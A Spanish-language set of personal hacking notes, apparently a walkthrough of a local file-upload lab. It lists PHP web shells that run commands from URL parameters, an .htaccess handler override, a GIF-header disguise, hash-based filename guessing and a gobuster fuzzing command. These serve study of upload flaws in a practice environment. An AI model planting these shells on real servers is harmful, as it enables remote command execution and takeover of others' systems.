Abuso de subidas de archivos - Hacking Notes
Índice
- [[#Upload 1 Subida básica de archivo php]]
- [[#Upload 3 Saltar restricción del cliente]]
- [[#Upload 10 Saltar restricción extensión php]]
- [[#Upload 11 Saltar restricción extensión php]]
- [[#Upload 12 Saltar restricción extensión php con .htaccess]]
- [[#Upload 16 Saltar restricción de tamaño]]
- [[#Upload 17 Saltar restricción de tamaño aumentada]]
- [[#Upload 21 Saltar restricción de tipo de archivo]]
- [[#Upload 23 Saltar restricción de archivos .gif]]
- [[#Upload 31 Saltar restricción de archivo en md5]]
- [[#Upload 33 Saltar restricción de archivo en md5]]
- [[#Upload 35 Saltar restricción de archivo en SHA-1]]
- [[#Upload 41 Encontrar el directorio donde se sube el archivo con fuzzing]]
- [[#Upload 51 Saltar restricción de tipo de archivo .jpg con un un ataque de doble extensión]]
- [[#Upload 58 Mezcla de las restricciones vistas]]
Upload 1 | Subida básica de archivo php
<?php
system("whoami");
?>
Upload 3 | Saltar restricción del cliente
Vemos que la sanetización se está empleando desde el lado del cliente y no del servidor, para saltarla solo tenemos que borrar esa restricción.
Upload 10 | Saltar restricción extensión php
Podemos probar a cambiar la extensión del archivo con alternativas: https://book.hacktricks.xyz/pentesting-web/file-upload
Upload 11 | Saltar restricción extensión php
Podemos probar a cambiar la extensión del archivo con alternativas: https://book.hacktricks.xyz/pentesting-web/file-upload
Upload 12 | Saltar restricción extensión php con .htaccess
- Comprobamos si nos deja mandar un archivo .htaccess
AddType application/x-httpd-php .test
- Mandamos el archivo php con la extensión que le hemos indicado en el archivo .htaccess
Upload 16 | Saltar restricción de tamaño
<?php system($_GET[0]);?>
Upload 17 | Saltar restricción de tamaño aumentada
<?=`$_GET[0]`?>
Upload 21 | Saltar restricción de tipo de archivo
Upload 23 | Saltar restricción de archivos .gif
Para cambiar el tipo de archivo necesitamos cambiar los primeros bytes del archivo, ya que estos son los que hacen al sistema identificar que tipo de archivo es.
- Cambiamos el contenido del archivo
GIF8; <?php system("whoami"); ?>
- Cambiamos el Content-Type
Upload 31 | Saltar restricción de archivo en md5
-
Vemos que al subir el archivo la imagen nos da una pista de que los archivos de la carpeta uploads están en md5 debido a su longitud de 32 caracteres
-
Para encontrar el archivo pasamos el nombre a md5
echo -n "cmd" | md5sum
El nombre del archivo una vez subido sería dfff0a7fa1a55c8c1a4966c19f6da452.php
Upload 33 | Saltar restricción de archivo en md5
-
Vemos que al subir el archivo la imagen nos da una pista de que los archivos de la carpeta uploads están en md5 debido a su longitud de 32 caracteres
-
Para encontrar el archivo pasamos el nombre del archivo completo a md5
echo -n "cmd.php" | md5sum
El nombre del archivo una vez subido sería b0e4bdfca013a84e5f0b9bc9ae028945.php
Upload 35 | Saltar restricción de archivo en SHA-1
-
Vemos que al subir el archivo la imagen nos da una pista de que los archivos de la carpeta uploads están en SHA-1 debido a su longitud de 40 caracteres
-
Para encontrar el archivo pasamos el contenido a SHA-1
sha1sum cmd.php
El nombre del archivo una vez subido sería cf15b7deb46021f4ed2e3bd7b74c6a8856422841.php
Upload 41 | Encontrar el directorio donde se sube el archivo con fuzzing
gobuster dir -u http://localhost:9001/upload41/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20
Upload 51 | Saltar restricción de tipo de archivo .jpg con un un ataque de doble extensión
Esto ocurre porque el desarrollador ha implementado una regex para los archivos que contengan la palabra .jpg, pero no para los archivos que acaben en .jpg
Upload 58 | Mezcla de las restricciones vistas
-
Subimos el archivo .htaccess
-
Cambiamos el archivo a un gif